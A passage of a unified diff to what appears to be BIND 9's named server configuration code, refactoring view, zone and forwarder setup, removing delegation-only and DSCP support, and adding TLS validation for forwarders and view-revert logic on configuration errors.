-			CHECK(dns_name_fromstring(
-				name, cfg_obj_asstring(exclude), 0, NULL));
-			CHECK(dns_view_excludedelegationonly(view, name));
-		}
-	} else {
-		dns_view_setrootdelonly(view, false);
-	}
-
 	/*
 	 * Load DynDB modules.
 	 */
@@ -5616,8 +5576,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			const void *hashinit = isc_hash_get_initializer();
 			CHECK(dns_dyndb_createctx(mctx, hashinit, named_g_lctx,
 						  view, named_g_server->zonemgr,
-						  named_g_server->task,
-						  named_g_timermgr, &dctx));
+						  named_g_loopmgr, &dctx));
 		}
 
 		CHECK(configure_dyndb(dyndb, mctx, dctx));
@@ -5654,7 +5613,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	(void)named_config_get(maps, "empty-zones-enable", &obj);
 	(void)named_config_get(maps, "disable-empty-zone", &disablelist);
 	if (obj == NULL && disablelist == NULL &&
-	    view->rdclass == dns_rdataclass_in) {
+	    view->rdclass == dns_rdataclass_in)
+	{
 		empty_zones_enable = view->recursion;
 	} else if (view->rdclass == dns_rdataclass_in) {
 		if (obj != NULL) {
@@ -5685,9 +5645,9 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		result = named_config_get(maps, "empty-server", &obj);
 		if (result == ISC_R_SUCCESS) {
 			CHECK(dns_name_fromstring(name, cfg_obj_asstring(obj),
-						  0, NULL));
+						  dns_rootname, 0, NULL));
 			isc_buffer_init(&buffer, server, sizeof(server) - 1);
-			CHECK(dns_name_totext(name, false, &buffer));
+			CHECK(dns_name_totext(name, 0, &buffer));
 			server[isc_buffer_usedlength(&buffer)] = 0;
 			empty_dbtype[2] = server;
 		} else {
@@ -5698,9 +5658,9 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		result = named_config_get(maps, "empty-contact", &obj);
 		if (result == ISC_R_SUCCESS) {
 			CHECK(dns_name_fromstring(name, cfg_obj_asstring(obj),
-						  0, NULL));
+						  dns_rootname, 0, NULL));
 			isc_buffer_init(&buffer, contact, sizeof(contact) - 1);
-			CHECK(dns_name_totext(name, false, &buffer));
+			CHECK(dns_name_totext(name, 0, &buffer));
 			contact[isc_buffer_usedlength(&buffer)] = 0;
 			empty_dbtype[3] = contact;
 		} else {
@@ -5725,8 +5685,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			} else if (strcasecmp(levelstr, "none") == 0) {
 				statlevel = dns_zonestat_none;
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 		}
 
@@ -5734,20 +5693,24 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		     empty = empty_zones[++empty_zone])
 		{
 			dns_forwarders_t *dnsforwarders = NULL;
+			dns_fwdpolicy_t fwdpolicy = dns_fwdpolicy_none;
 
 			/*
 			 * Look for zone on drop list.
 			 */
-			CHECK(dns_name_fromstring(name, empty, 0, NULL));
+			CHECK(dns_name_fromstring(name, empty, dns_rootname, 0,
+						  NULL));
 			if (disablelist != NULL &&
-			    on_disable_list(disablelist, name)) {
+			    on_disable_list(disablelist, name))
+			{
 				continue;
 			}
 
 			/*
 			 * This zone already exists.
 			 */
-			(void)dns_view_findzone(view, name, &zone);
+			(void)dns_view_findzone(view, name, DNS_ZTFIND_EXACT,
+						&zone);
 			if (zone != NULL) {
 				dns_zone_detach(&zone);
 				continue;
@@ -5757,10 +5720,15 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			 * If we would forward this name don't add a
 			 * empty zone for it.
 			 */
-			result = dns_fwdtable_find(view->fwdtable, name, NULL,
+			result = dns_fwdtable_find(view->fwdtable, name,
 						   &dnsforwarders);
-			if (result == ISC_R_SUCCESS &&
-			    dnsforwarders->fwdpolicy == dns_fwdpolicy_only) {
+			if (result == ISC_R_SUCCESS ||
+			    result == DNS_R_PARTIALMATCH)
+			{
+				fwdpolicy = dnsforwarders->fwdpolicy;
+				dns_forwarders_detach(&dnsforwarders);
+			}
+			if (fwdpolicy == dns_fwdpolicy_only) {
 				continue;
 			}
 
@@ -5776,7 +5744,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			}
 
 			if (pview != NULL) {
-				(void)dns_view_findzone(pview, name, &zone);
+				(void)dns_view_findzone(
+					pview, name, DNS_ZTFIND_EXACT, &zone);
 				dns_view_detach(&pview);
 			}
 
@@ -5827,14 +5796,18 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		}
 
 		name = dns_fixedname_initname(&fixed);
-		for (ipv4only_zone = 0; ipv4only_zone < ARRAYSIZE(zones);
-		     ipv4only_zone++) {
+		for (ipv4only_zone = 0; ipv4only_zone < ARRAY_SIZE(zones);
+		     ipv4only_zone++)
+		{
 			dns_forwarders_t *dnsforwarders = NULL;
+			dns_fwdpolicy_t fwdpolicy = dns_fwdpolicy_none;
 
-			CHECK(dns_name_fromstring(
-				name, zones[ipv4only_zone].name, 0, NULL));
+			CHECK(dns_name_fromstring(name,
+						  zones[ipv4only_zone].name,
+						  dns_rootname, 0, NULL));
 
-			(void)dns_view_findzone(view, name, &zone);
+			(void)dns_view_findzone(view, name, DNS_ZTFIND_EXACT,
+						&zone);
 			if (zone != NULL) {
 				dns_zone_detach(&zone);
 				continue;
@@ -5843,10 +5816,15 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			/*
 			 * If we would forward this name don't add it.
 			 */
-			result = dns_fwdtable_find(view->fwdtable, name, NULL,
+			result = dns_fwdtable_find(view->fwdtable, name,
 						   &dnsforwarders);
-			if (result == ISC_R_SUCCESS &&
-			    dnsforwarders->fwdpolicy == dns_fwdpolicy_only) {
+			if (result == ISC_R_SUCCESS ||
+			    result == DNS_R_PARTIALMATCH)
+			{
+				fwdpolicy = dnsforwarders->fwdpolicy;
+				dns_forwarders_detach(&dnsforwarders);
+			}
+			if (fwdpolicy == dns_fwdpolicy_only) {
 				continue;
 			}
 
@@ -5862,7 +5840,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			}
 
 			if (pview != NULL) {
-				(void)dns_view_findzone(pview, name, &zone);
+				(void)dns_view_findzone(
+					pview, name, DNS_ZTFIND_EXACT, &zone);
 				dns_view_detach(&pview);
 			}
 
@@ -5903,8 +5882,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	result = named_config_get(maps, "nxdomain-redirect", &obj);
 	if (result == ISC_R_SUCCESS) {
 		dns_name_t *name = dns_fixedname_name(&view->redirectfixed);
-		CHECK(dns_name_fromstring(name, cfg_obj_asstring(obj), 0,
-					  NULL));
+		CHECK(dns_name_fromstring(name, cfg_obj_asstring(obj),
+					  dns_rootname, 0, NULL));
 		view->redirectzone = name;
 	} else {
 		view->redirectzone = NULL;
@@ -5927,8 +5906,9 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 
 			ntaname = dns_fixedname_initname(&fntaname);
 			obj = cfg_listelt_value(element);
-			CHECK(dns_name_fromstring(
-				ntaname, cfg_obj_asstring(obj), 0, NULL));
+			CHECK(dns_name_fromstring(ntaname,
+						  cfg_obj_asstring(obj),
+						  dns_rootname, 0, NULL));
 			CHECK(dns_ntatable_add(ntatable, ntaname, true, 0,
 					       0xffffffffU));
 		}
@@ -5945,6 +5925,95 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	result = ISC_R_SUCCESS;
 
 cleanup:
+	/*
+	 * Revert to the old view if there was an error.
+	 */
+	if (result != ISC_R_SUCCESS) {
+		isc_result_t result2;
+
+		result2 = dns_viewlist_find(&named_g_server->viewlist,
+					    view->name, view->rdclass, &pview);
+		if (result2 == ISC_R_SUCCESS) {
+			dns_view_thaw(pview);
+
+			obj = NULL;
+			if (rpz_configured &&
+			    pview->rdclass == dns_rdataclass_in && need_hints &&
+			    named_config_get(maps, "response-policy", &obj) ==
+				    ISC_R_SUCCESS)
+			{
+				/*
+				 * We are swapping the places of the `view` and
+				 * `pview` in the function's parameters list
+				 * because we are reverting the same operation
+				 * done previously in the "correct" order.
+				 */
+				result2 = configure_rpz(pview, view, maps, obj,
+							&old_rpz_ok);
+				if (result2 != ISC_R_SUCCESS) {
+					isc_log_write(named_g_lctx,
+						      NAMED_LOGCATEGORY_GENERAL,
+						      NAMED_LOGMODULE_SERVER,
+						      ISC_LOG_ERROR,
+						      "rpz configuration "
+						      "revert failed for view "
+						      "'%s'",
+						      pview->name);
+				}
+			}
+
+			obj = NULL;
+			if (catz_configured &&
+			    pview->rdclass == dns_rdataclass_in && need_hints &&
+			    named_config_get(maps, "catalog-zones", &obj) ==
+				    ISC_R_SUCCESS)
+			{
+				/*
+				 * We are swapping the places of the `view` and
+				 * `pview` in the function's parameters list
+				 * because we are reverting the same operation
+				 * done previously in the "correct" order.
+				 */
+				result2 = configure_catz(pview, view, config,
+							 obj);
+				if (result2 != ISC_R_SUCCESS) {
+					isc_log_write(named_g_lctx,
+						      NAMED_LOGCATEGORY_GENERAL,
+						      NAMED_LOGMODULE_SERVER,
+						      ISC_LOG_ERROR,
+						      "catz configuration "
+						      "revert failed for view "
+						      "'%s'",
+						      pview->name);
+				}
+			}
+
+			dns_view_freeze(pview);
+		}
+
+		if (pview != NULL) {
+			dns_view_detach(&pview);
+		}
+
+		if (zone_element_latest != NULL) {
+			for (element = cfg_list_first(zonelist);
+			     element != NULL; element = cfg_list_next(element))
+			{
+				const cfg_obj_t *zconfig =
+					cfg_listelt_value(element);
+				configure_zone_setviewcommit(result, zconfig,
+							     view);
+				if (element == zone_element_latest) {
+					/*
+					 * This was the latest element that was
+					 * successfully configured earlier.
+					 */
+					break;
+				}
+			}
+		}
+	}
+
 	if (ntatable != NULL) {
 		dns_ntatable_detach(&ntatable);
 	}
@@ -5978,12 +6047,6 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	if (order != NULL) {
 		dns_order_detach(&order);
 	}
-	if (cmctx != NULL) {
-		isc_mem_detach(&cmctx);
-	}
-	if (hmctx != NULL) {
-		isc_mem_detach(&hmctx);
-	}
 	if (cache != NULL) {
 		dns_cache_detach(&cache);
 	}
@@ -6074,8 +6137,8 @@ configure_alternates(const cfg_obj_t *config, dns_view_t *view,
 				}
 				myport = (in_port_t)val;
 			}
-			CHECK(dns_resolver_addalternate(view->resolver, NULL,
-							name, myport));
+			dns_resolver_addalternate(view->resolver, NULL, name,
+						  myport);
 			continue;
 		}
 
@@ -6083,26 +6146,61 @@ configure_alternates(const cfg_obj_t *config, dns_view_t *view,
 		if (isc_sockaddr_getport(&sa) == 0) {
 			isc_sockaddr_setport(&sa, port);
 		}
-		CHECK(dns_resolver_addalternate(view->resolver, &sa, NULL, 0));
+		dns_resolver_addalternate(view->resolver, &sa, NULL, 0);
 	}
 
 cleanup:
 	return (result);
 }
 
+static isc_result_t
+validate_tls(const cfg_obj_t *config, dns_view_t *view, const cfg_obj_t *obj,
+	     isc_log_t *logctx, const char *str, dns_name_t **name) {
+	dns_fixedname_t fname;
+	dns_name_t *nm = dns_fixedname_initname(&fname);
+	isc_result_t result = dns_name_fromstring(nm, str, dns_rootname, 0,
+						  NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+			    "'%s' is not a valid name", str);
+		return (result);
+	}
+
+	if (strcasecmp(str, "ephemeral") != 0) {
+		const cfg_obj_t *tlsmap = find_maplist(config, "tls", str);
+
+		if (tlsmap == NULL) {
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "tls '%s' is not defined", str);
+			return (ISC_R_FAILURE);
+		}
+	}
+
+	if (name != NULL && *name == NULL) {
+		*name = isc_mem_get(view->mctx, sizeof(dns_name_t));
+		dns_name_init(*name, NULL);
+		dns_name_dup(nm, view->mctx, *name);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
 static isc_result_t
 configure_forward(const cfg_obj_t *config, dns_view_t *view,
 		  const dns_name_t *origin, const cfg_obj_t *forwarders,
 		  const cfg_obj_t *forwardtype) {
-	const cfg_obj_t *portobj, *dscpobj;
-	const cfg_obj_t *faddresses;
-	const cfg_listelt_t *element;
+	const cfg_obj_t *portobj = NULL;
+	const cfg_obj_t *tlspobj = NULL;
+	const cfg_obj_t *faddresses = NULL;
+	const cfg_listelt_t *element = NULL;
 	dns_fwdpolicy_t fwdpolicy = dns_fwdpolicy_none;
 	dns_forwarderlist_t fwdlist;
-	dns_forwarder_t *fwd;
+	dns_forwarder_t *fwd = NULL;
 	isc_result_t result;
 	in_port_t port;
-	isc_dscp_t dscp = -1;
+	in_port_t tls_port;
+	const char *tls = NULL;
 
 	ISC_LIST_INIT(fwdlist);
 
@@ -6110,6 +6208,7 @@ configure_forward(const cfg_obj_t *config, dns_view_t *view,
 	 * Determine which port to send forwarded requests to.
 	 */
 	CHECKM(named_config_getport(config, "port", &port), "port");
+	CHECKM(named_config_getport(config, "tls-port", &tls_port), "tls-port");
 
 	if (forwarders != NULL) {
 		portobj = cfg_tuple_get(forwarders, "port");
@@ -6121,25 +6220,24 @@ configure_forward(const cfg_obj_t *config, dns_view_t *view,
 					    "port '%u' out of range", val);
 				return (ISC_R_RANGE);
 			}
-			port = (in_port_t)val;
+			port = tls_port = (in_port_t)val;
 		}
 	}
 
 	/*
-	 * DSCP value for forwarded requests.
+	 * TLS value for forwarded requests.
 	 */
-	dscp = named_g_dscp;
 	if (forwarders != NULL) {
-		dscpobj = cfg_tuple_get(forwarders, "dscp");
-		if (cfg_obj_isuint32(dscpobj)) {
-			if (cfg_obj_asuint32(dscpobj) > 63) {
-				cfg_obj_log(dscpobj, named_g_lctx,
-					    ISC_LOG_ERROR,
-					    "dscp value '%u' is out of range",
-					    cfg_obj_asuint32(dscpobj));
-				return (ISC_R_RANGE);
+		tlspobj = cfg_tuple_get(forwarders, "tls");
+		if (cfg_obj_isstring(tlspobj)) {
+			tls = cfg_obj_asstring(tlspobj);
+			if (tls != NULL) {
+				result = validate_tls(config, view, tlspobj,
+						      named_g_lctx, tls, NULL);
+				if (result != ISC_R_SUCCESS) {
+					return (result);
+				}
 			}
-			dscp = (isc_dscp_t)cfg_obj_asuint32(dscpobj);
 		}
 	}
 
@@ -6152,14 +6250,28 @@ configure_forward(const cfg_obj_t *config, dns_view_t *view,
 	     element = cfg_list_next(element))
 	{
 		const cfg_obj_t *forwarder = cfg_listelt_value(element);
+		const char *cur_tls = NULL;
+
 		fwd = isc_mem_get(view->mctx, sizeof(dns_forwarder_t));
+		fwd->tlsname = NULL;
+		cur_tls = cfg_obj_getsockaddrtls(forwarder);
+		if (cur_tls == NULL) {
+			cur_tls = tls;
+		}
+		if (cur_tls != NULL) {
+			result = validate_tls(config, view, faddresses,
+					      named_g_lctx, cur_tls,
+					      &fwd->tlsname);
+			if (result != ISC_R_SUCCESS) {
+				isc_mem_put(view->mctx, fwd,
+					    sizeof(dns_forwarder_t));
+				goto cleanup;
+			}
+		}
 		fwd->addr = *cfg_obj_assockaddr(forwarder);
 		if (isc_sockaddr_getport(&fwd->addr) == 0) {
-			isc_sockaddr_setport(&fwd->addr, port);
-		}
-		fwd->dscp = cfg_obj_getdscp(forwarder);
-		if (fwd->dscp == -1) {
-			fwd->dscp = dscp;
+			isc_sockaddr_setport(&fwd->addr,
+					     cur_tls != NULL ? tls_port : port);
 		}
 		ISC_LINK_INIT(fwd, link);
 		ISC_LIST_APPEND(fwdlist, fwd, link);
@@ -6182,8 +6294,7 @@ configure_forward(const cfg_obj_t *config, dns_view_t *view,
 			} else if (strcasecmp(forwardstr, "only") == 0) {
 				fwdpolicy = dns_fwdpolicy_only;
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 		}
 	}
@@ -6199,6 +6310,10 @@ configure_forward(const cfg_obj_t *config, dns_view_t *view,
 		goto cleanup;
 	}
 
+	if (fwdpolicy == dns_fwdpolicy_only) {
+		dns_view_sfd_add(view, origin);
+	}
+
 	result = ISC_R_SUCCESS;
 
 cleanup:
@@ -6206,6 +6321,11 @@ configure_forward(const cfg_obj_t *config, dns_view_t *view,
 	while (!ISC_LIST_EMPTY(fwdlist)) {
 		fwd = ISC_LIST_HEAD(fwdlist);
 		ISC_LIST_UNLINK(fwdlist, fwd, link);
+		if (fwd->tlsname != NULL) {
+			dns_name_free(fwd->tlsname, view->mctx);
+			isc_mem_put(view->mctx, fwd->tlsname,
+				    sizeof(dns_name_t));
+		}
 		isc_mem_put(view->mctx, fwd, sizeof(dns_forwarder_t));
 	}
 
@@ -6304,7 +6424,8 @@ create_view(const cfg_obj_t *vconfig, dns_viewlist_t *viewlist,
 	}
 	INSIST(view == NULL);
 
-	result = dns_view_create(named_g_mctx, viewclass, viewname, &view);
+	result = dns_view_create(named_g_mctx, named_g_dispatchmgr, viewclass,
+				 viewname, &view);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -6321,7 +6442,7 @@ create_view(const cfg_obj_t *vconfig, dns_viewlist_t *viewlist,
  */
 static isc_result_t
 configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
-	       const cfg_obj_t *vconfig, isc_mem_t *mctx, dns_view_t *view,
+	       const cfg_obj_t *vconfig, dns_view_t *view,
 	       dns_viewlist_t *viewlist, dns_kasplist_t *kasplist,
 	       cfg_aclconfctx_t *aclconf, bool added, bool old_rpz_ok,
 	       bool modify) {
@@ -6335,9 +6456,8 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 	const cfg_obj_t *forwarders = NULL;
 	const cfg_obj_t *forwardtype = NULL;
 	const cfg_obj_t *ixfrfromdiffs = NULL;
-	const cfg_obj_t *only = NULL;
 	const cfg_obj_t *viewobj = NULL;
-	isc_result_t result;
+	isc_result_t result = ISC_R_SUCCESS;
 	isc_result_t tresult;
 	isc_buffer_t buffer;
 	dns_fixedname_t fixorigin;
@@ -6349,6 +6469,7 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 	bool zone_is_catz = false;
 	bool zone_maybe_inline = false;
 	bool inline_signing = false;
+	bool fullsign = false;
 
 	options = NULL;
 	(void)cfg_map_get(config, "options", &options);
@@ -6407,7 +6528,8 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 			goto cleanup;
 		}
 
-		result = dns_view_findzone(otherview, origin, &zone);
+		result = dns_view_findzone(otherview, origin, DNS_ZTFIND_EXACT,
+					   &zone);
 		dns_view_detach(&otherview);
 		if (result != ISC_R_SUCCESS) {
 			cfg_obj_log(zconfig, named_g_lctx, ISC_LOG_ERROR,
@@ -6463,17 +6585,6 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 			const char *hintsfile = cfg_obj_asstring(fileobj);
 
 			CHECK(configure_hints(view, hintsfile));
-
-			/*
-			 * Hint zones may also refer to delegation only points.
-			 */
-			only = NULL;
-			tresult = cfg_map_get(zoptions, "delegation-only",
-					      &only);
-			if (tresult == ISC_R_SUCCESS && cfg_obj_asboolean(only))
-			{
-				CHECK(dns_view_adddelegationonly(view, origin));
-			}
 		} else {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
@@ -6497,23 +6608,6 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 		(void)cfg_map_get(zoptions, "forwarders", &forwarders);
 		CHECK(configure_forward(config, view, origin, forwarders,
 					forwardtype));
-
-		/*
-		 * Forward zones may also set delegation only.
-		 */
-		only = NULL;
-		tresult = cfg_map_get(zoptions, "delegation-only", &only);
-		if (tresult == ISC_R_SUCCESS && cfg_obj_asboolean(only)) {
-			CHECK(dns_view_adddelegationonly(view, origin));
-		}
-		goto cleanup;
-	}
-
-	/*
-	 * "delegation-only zones" aren't zones either.
-	 */
-	if (strcasecmp(ztypestr, "delegation-only") == 0) {
-		result = dns_view_adddelegationonly(view, origin);
 		goto cleanup;
 	}
 
@@ -6554,7 +6648,8 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 		/*
 		 * Check for duplicates in the new zone table.
 		 */
-		result = dns_view_findzone(view, origin, &dupzone);
+		result = dns_view_findzone(view, origin, DNS_ZTFIND_EXACT,
+					   &dupzone);
 		if (result == ISC_R_SUCCESS) {
 			/*
 			 * We already have this zone!
@@ -6587,7 +6682,8 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 	}
 
 	if (view->catzs != NULL &&
-	    dns_catz_get_zone(view->catzs, origin) != NULL) {
+	    dns_catz_zone_get(view->catzs, origin) != NULL)
+	{
 		zone_is_catz = true;
 	}
 
@@ -6597,8 +6693,8 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 	 *   - The zone's view exists
 	 *   - A zone with the right name exists in the view
 	 *   - The zone is compatible with the config
-	 *     options (e.g., an existing master zone cannot
-	 *     be reused if the options specify a slave zone)
+	 *     options (e.g., an existing primary zone cannot
+	 *     be reused if the options specify a secondary zone)
 	 *   - The zone was not and is still not a response policy zone
 	 *     or the zone is a policy zone with an unchanged number
 	 *     and we are using the old policy zone summary data.
@@ -6609,16 +6705,18 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 		goto cleanup;
 	}
 	if (pview != NULL) {
-		result = dns_view_findzone(pview, origin, &zone);
+		result = dns_view_findzone(pview, origin, DNS_ZTFIND_EXACT,
+					   &zone);
 	}
 	if (result != ISC_R_NOTFOUND && result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
 	if (zone != NULL &&
-	    !named_zone_reusable(zone, zconfig, vconfig, config, aclconf))
+	    !named_zone_reusable(zone, zconfig, vconfig, config, kasplist))
 	{
 		dns_zone_detach(&zone);
+		fullsign = true;
 	}
 
 	if (zone != NULL && (rpz_num != dns_zone_get_rpz_num(zone) ||
@@ -6659,6 +6757,8 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 
 	if (zone_is_catz) {
 		dns_zone_catz_enable(zone, view->catzs);
+	} else if (dns_zone_catz_is_enabled(zone)) {
+		dns_zone_catz_disable(zone);
 	}
 
 	/*
@@ -6673,16 +6773,6 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 					forwardtype));
 	}
 
-	/*
-	 * Stub and forward zones may also refer to delegation only points.
-	 */
-	only = NULL;
-	if (cfg_map_get(zoptions, "delegation-only", &only) == ISC_R_SUCCESS) {
-		if (cfg_obj_asboolean(only)) {
-			CHECK(dns_view_adddelegationonly(view, origin));
-		}
-	}
-
 	/*
 	 * Mark whether the zone was originally added at runtime or not
 	 */
@@ -6697,13 +6787,14 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 			      strcasecmp(ztypestr, "slave") == 0));
 
 	if (zone_maybe_inline) {
-		inline_signing = named_zone_inlinesigning(
-			zone, zconfig, vconfig, config, aclconf);
+		inline_signing = named_zone_inlinesigning(zconfig, vconfig,
+							  config, kasplist);
 	}
 	if (inline_signing) {
 		dns_zone_getraw(zone, &raw);
 		if (raw == NULL) {
-			CHECK(dns_zone_create(&raw, mctx));
+			dns_zone_create(&raw, dns_zone_getmem(zone),
+					dns_zone_gettid(zone));
 			CHECK(dns_zone_setorigin(raw, origin));
 			dns_zone_setview(raw, view);
 			dns_zone_setstats(raw, named_g_server->zonestats);
@@ -6751,7 +6842,7 @@ configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
 	 * Ensure that zone keys are reloaded on reconfig
 	 */
 	if ((dns_zone_getkeyopts(zone) & DNS_ZONEKEY_MAINTAIN) != 0) {
-		dns_zone_rekey(zone, false);
+		dns_zone_rekey(zone, fullsign);
 	}
 
 cleanup:
@@ -6794,6 +6885,7 @@ add_keydata_zone(dns_view_t *view, const char *directory, isc_mem_t *mctx) {
 			dns_zone_attach(pview->managed_keys,
 					&view->managed_keys);
 			dns_zone_setview(pview->managed_keys, view);
+			dns_zone_setviewcommit(pview->managed_keys);
 			dns_view_detach(&pview);
 			dns_zone_synckeyzone(view->managed_keys);
 			return (ISC_R_SUCCESS);
@@ -6825,12 +6917,13 @@ add_keydata_zone(dns_view_t *view, const char *directory, isc_mem_t *mctx) {
 	dns_acl_detach(&none);
 
 	dns_zone_setdialup(zone, dns_dialuptype_no);
+	dns_zone_setcheckdstype(zone, dns_checkdstype_no);
 	dns_zone_setnotifytype(zone, dns_notifytype_no);
 	dns_zone_setoption(zone, DNS_ZONEOPT_NOCHECKNS, true);
 	dns_zone_setjournalsize(zone, 0);
 
 	dns_zone_setstats(zone, named_g_server->zonestats);
-	CHECK(setquerystats(zone, mctx, dns_zonestat_none));
+	setquerystats(zone, mctx, dns_zonestat_none);
 
 	if (view->managed_keys != NULL) {
 		dns_zone_detach(&view->managed_keys);
@@ -6910,235 +7003,73 @@ directory_callback(const char *clausename, const cfg_obj_t *obj, void *arg) {
 	return (ISC_R_SUCCESS);
 }
 
-static isc_result_t
-add_listenelt(isc_mem_t *mctx, ns_listenlist_t *list, isc_sockaddr_t *addr,
-	      isc_dscp_t dscp, bool wcardport_ok) {
-	ns_listenelt_t *lelt = NULL;
-	dns_acl_t *src_acl = NULL;
-	isc_result_t result;
-	isc_sockaddr_t any_sa6;
-	isc_netaddr_t netaddr;
-
-	REQUIRE(isc_sockaddr_pf(addr) == AF_INET6);
+/*
+ * This event callback is invoked to do periodic network interface
+ * scanning.
+ */
 
-	isc_sockaddr_any6(&any_sa6);
-	if (!isc_sockaddr_equal(&any_sa6, addr) &&
-	    (wcardport_ok || isc_sockaddr_getport(addr) != 0))
-	{
-		isc_netaddr_fromin6(&netaddr, &addr->type.sin6.sin6_addr);
+static void
+interface_timer_tick(void *arg) {
+	named_server_t *server = (named_server_t *)arg;
 
-		result = dns_acl_create(mctx, 0, &src_acl);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
+	(void)ns_interfacemgr_scan(server->interfacemgr, false, false);
+}
 
-		result = dns_iptable_addprefix(src_acl->iptable, &netaddr, 128,
-					       true);
-		if (result != ISC_R_SUCCESS) {
-			goto clean;
-		}
+static void
+heartbeat_timer_tick(void *arg) {
+	named_server_t *server = (named_server_t *)arg;
+	dns_view_t *view = NULL;
 
-		result = ns_listenelt_create(mctx, isc_sockaddr_getport(addr),
-					     dscp, src_acl, false, NULL, NULL,
-					     &lelt);
-		if (result != ISC_R_SUCCESS) {
-			goto clean;
-		}
-		ISC_LIST_APPEND(list->elts, lelt, link);
+	view = ISC_LIST_HEAD(server->viewlist);
+	while (view != NULL) {
+		dns_view_dialup(view);
+		view = ISC_LIST_NEXT(view, link);
 	}
+}
 
-	return (ISC_R_SUCCESS);
-
-clean:
-	INSIST(lelt == NULL);
-	dns_acl_detach(&src_acl);
+typedef struct {
+	isc_mem_t *mctx;
+	isc_loop_t *loop;
+	dns_fetch_t *fetch;
+	dns_view_t *view;
+	dns_fixedname_t tatname;
+	dns_fixedname_t keyname;
+	dns_rdataset_t rdataset;
+	dns_rdataset_t sigrdataset;
+} ns_tat_t;
 
-	return (result);
+static int
+cid(const void *a, const void *b) {
+	const uint16_t ida = *(const uint16_t *)a;
+	const uint16_t idb = *(const uint16_t *)b;
+	if (ida < idb) {
+		return (-1);
+	} else if (ida > idb) {
+		return (1);
+	} else {
+		return (0);
+	}
 }
 
-/*
- * Make a list of xxx-source addresses and call ns_interfacemgr_adjust()
- * to update the listening interfaces accordingly.
- * We currently only consider IPv6, because this only affects IPv6 wildcard
- * sockets.
- */
 static void
-adjust_interfaces(named_server_t *server, isc_mem_t *mctx) {
-	isc_result_t result;
-	ns_listenlist_t *list = NULL;
-	dns_view_t *view;
-	dns_zone_t *zone, *next;
-	isc_sockaddr_t addr, *addrp;
-	isc_dscp_t dscp = -1;
+tat_done(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	ns_tat_t *tat = NULL;
 
-	result = ns_listenlist_create(mctx, &list);
-	if (result != ISC_R_SUCCESS) {
-		return;
-	}
+	INSIST(resp != NULL && resp->type == FETCHDONE);
 
-	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
-	     view = ISC_LIST_NEXT(view, link))
-	{
-		dns_dispatch_t *dispatch6;
+	tat = resp->arg;
 
-		dispatch6 = dns_resolver_dispatchv6(view->resolver);
-		if (dispatch6 == NULL) {
-			continue;
-		}
-		result = dns_dispatch_getlocaladdress(dispatch6, &addr);
-		if (result != ISC_R_SUCCESS) {
-			goto fail;
-		}
-
-		/*
-		 * We always add non-wildcard address regardless of whether
-		 * the port is 'any' (the fourth arg is TRUE): if the port is
-		 * specific, we need to add it since it may conflict with a
-		 * listening interface; if it's zero, we'll dynamically open
-		 * query ports, and some of them may override an existing
-		 * wildcard IPv6 port.
-		 */
-		/* XXXMPA fix dscp */
-		result = add_listenelt(mctx, list, &addr, dscp, true);
-		if (result != ISC_R_SUCCESS) {
-			goto fail;
-		}
-	}
-
-	zone = NULL;
-	for (result = dns_zone_first(server->zonemgr, &zone);
-	     result == ISC_R_SUCCESS;
-	     next = NULL, result = dns_zone_next(zone, &next), zone = next)
-	{
-		dns_view_t *zoneview;
-
-		/*
-		 * At this point the zone list may contain a stale zone
-		 * just removed from the configuration.  To see the validity,
-		 * check if the corresponding view is in our current view list.
-		 * There may also be old zones that are still in the process
-		 * of shutting down and have detached from their old view
-		 * (zoneview == NULL).
